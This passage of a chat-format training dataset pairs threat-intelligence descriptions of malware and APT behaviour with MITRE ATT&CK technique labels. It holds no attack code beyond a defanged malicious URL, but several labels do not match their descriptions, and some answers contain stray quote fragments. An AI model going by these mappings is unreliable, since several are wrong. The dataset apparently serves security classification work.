            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SlideShare uses cookies to improve functionality and performance, and to provide you with relevant advertising. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. Details a massive intrusion by Russian APT29 (AKA CozyDuke, Cozy Bear) . Every IR presents unique challenges. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it’s built-in. DERBYCON 2016 #NOEASYBREACH Matt Dunwoody @matthewdunwoody Nick Carr @itsreallynick 22 likes . Views . You have now unlocked unlimited access to 20M+ documents. Unlimited Reading . Learn faster and smarter from top experts . Unlimited Downloading . Download to take your learnings offline and on the go . You also get free access to Scribd. Instant access to millions of ebooks, audiobooks, magazines, podcasts and more. Free access to premium services like Tuneln, Mubi and more. Enjoy access to millions of ebooks, audiobooks, magazines, and more from Scribd"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT can query service configuration information."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches attached and mounted drives for file extensions and keywords that match a predefined list."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The user receives a phishing email with a ZIP attachment containing an Office document with embedded macros, the document itself or a link to download malicious document. The user opens the malicious attachment/link and is tricked into clicking “Enable content”. - A malicious macro is executed. One of the encrypted resources has the DLL binary (loader) which is decrypted later during runtime"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex's strings are obfuscated using RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may gather a list of running processes by running tasklist /v."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type has deleted accounts it has created."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Timeline . OSX/FruitFly: 1) 2) Remove the malicious launch agent plist file ~/Library/LaunchAgents/com.client.client.plist 3) Remove the malware's persistent perl script &amp; file. Ok, so the attackers are using an open-source multi-stage post-exploitation agent. Unfortunately this file is now inaccessible. The author of the thread announced a RAT dubbed Proton, intended for installation exclusively on MAC OS devices. Finally, the malware modifies the infected host's network settings in order to set up a proxy who's address is (dynamically) specified via a remote proxy auto-configuration (PAC) file. As it's a binary plist file, dump its contents with the plutil utility (using the -p commandline flag): . As the KeepAlive key has been set to 1 (true), the Launch Daemon will be automatically started everytime the infected system is rebooted. MacRansom is the the first 'Ransomware-as-a-Service' for macOS, that aims to encrypt (ransom) all user's files. Then these files will be passed (to a new instance) of the malware, in order to be encrypted. Thus it appears that once encrypted, the files are pretty much gone for good (save for a perhaps a brute force decryption attack). Good news, RansomWhere. Using the neat 'Suspicious Package' application, we can statically examine this script: In short, it persists CPUMeaner as a launch agent via the /Library/LaunchAgents/com.osxext.cpucooler.plist file"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used remote access tools that leverage DNS in communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 obtained a list of users and their roles from an Exchange server using \"Get-ManagementRoleAssignment\"."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang gathered information and files from local directories for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can bypass UAC to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "4H RAT has the capability to obtain a listing of running processes (including loaded modules)."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The information gathered is added to a string in the following structure: <IP address>|<computer name>|<domain>|<username>|<isAdmin flag>|<hasGarbage flag from config>|<hasStartup flag from config>|<“hybrid” mode flag from config>|<sleep interval from config>|<jitter value from config> The payload will base64 encode this string and use its DNS tunneling protocol to transmit the data to the C2"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After this it will destroy all shadow volumes of the victim machine and disable the protection of the recovery boot with this command"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has used WMI to execute powershell.exe."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has gathered information about running services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware then appends a script extension (php, bml, or cgi) with a random number of random parameters or a file extension from the following list with no parameters: gif, jpg, png, htm, html, php"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used RDP connections to move across the victim network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem  can direct queries to custom DNS servers and return C2 commands using TXT records."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used a Batch file to automate frequently executed post compromise cleanup activities. FIN8 has also executed commands remotely via cmd."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has installed shim databases in the \"AppPatch\" folder."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has collected files from a local victim."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FALLCHILL has been installed as a Windows service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can create a .lnk file and add a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before being sent to the server, the data structure has to pass through shaping as shown in Fig"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper will delete itself at the end of the process"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To ensure that the compromised system is unable to restore from backup, REvil deletes shadow copies and disables recovery mode by executing the following command via ShellExecute. The length and uniqueness of this command allow for the development of high-fidelity detection controls"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to retrieve information about connected users."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We named Lazarus the most active group of 2020. We’ve observed numerous activities by this notorious APT group targeting various industries. The group has changed target depending on the primary objective. Google TAG has recently published a post about a campaign by Lazarus targeting security researchers. We have seen Lazarus attack various industries using this malware cluster before. In mid-2020, we realized that Lazarus was launching attacks on the defense industry using the ThreatNeedle cluster, an advanced malware cluster of Manuscrypt (a.k.a. NukeSped). While investigating this activity, we were able to observe the complete life cycle of an attack, uncovering more technical details and links to the group’s other campaigns"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1566.002 - Phishing: Spearphishing Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the injection technique used by the shellcode also resembles the first document. The major difference in this document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The remote HTML page is located at https[:]//markettrendingcenter[.]com/member.htm and throws a 404 Not Found which makes it difficult for us to analyze this document any further"
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains and saves information about victim network interfaces and addresses."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD can Base64 encode output strings prior to sending to C2."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack can shutdown and reboot the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet has the ability to search for a given filename on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon creates several tasks for later execution to continue persistence on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used keyloggers that are also capable of dumping credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "apparently altered  samples by adding four bytes of random letters in a likely attempt to change the file hashes."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has queried the registry to detect recent PuTTY sessions."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses FTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the attackers need to send a file or command to the victim machine, they place them to the folder named d in the victim’s Dropbox folder. The malware retrieves this folder and downloads all its contents to the working folder"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macOS version of the malicious application is a DMG Installer that has a disk image format that Apple commonly uses to distribute software over the internet. The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). It has very similar functionality to the Windows version"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All strings used by the Trojan are encrypted with the XOR algorithm"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cannon can take a screenshot of the desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used WMI to collect information about target machines."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attempted to blend in with a file name that matched the system name it resided on - Configured for persistence via a crontab entry with a @reboot line - Used likely compromised infrastructure for C2"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore can install malicious browser extensions that are used to hijack user searches."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can collect DNS information from the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware gathers the victim's local IP address, MAC address, and external IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PrivateLoader is yet another example of a Pay-Per-Install malicious loader like LgoogLoader and SmokeLoader. It uses a single-byte XOR encryption key to receive URLs from the control center."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman uses HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can modify file or directory timestamps."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has downloaded additional malware and tools onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK  includes runtime checks to identify an analysis environment and prevent execution on it."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The persistence mechanisms also change, offering the options to use XDG Autostart Entries and crontabs for persistence. We’ve waxed lyrical about crontabs before, but we haven’t explored XDG Autostart Entries in detail"
            },
            {
                "role": "assistant",
                "content": "T1547.013 - XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has used regsvr32.exe to execute malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As a result of all these steps, the last-stage Trojan is injected into svchost.exe’s process memory"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM runs its core DLL file using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Company has used phishing lure documents that trick users into opening them and infecting their computers."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to take screenshots of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can check for blocklisted process names on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the third phase of the operation, the attackers harvested credentials stored on the compromised machines and performed lateral movement and infected new machines. The attackers also introduced a very rare and stealthy technique to communicate with their servers and exfiltrate data using Microsoft Outlook"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "enumerates local and domain users"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "X-Session: 0\"). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. TG-3390 has used additional web shells containing similarly formatted passwords"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors downloaded files and tools onto a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remember, Downadup/Conficker spread so widely because so many computers simply did not have a simple security patch, released months before the infections ever started, applied. Weafer ). - Use a robust security software suite that has multiple layers of protection. Even patched systems are continuing to become infected with the .A and .B variants. In many instances, this is occurring because the worm is being passed on via infected removable media, such as USB thumb drives, that are essentially acting as host carriers. Need to Know) - Use caution when opening attachments and accepting file transfers. Use caution when clicking on links to Web pages. Use strong passwords"
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used Empire to enumerate hosts and gather username, machine name, and administrative permissions information."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can enumerate processes on a victim machine through use of Tasklist."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
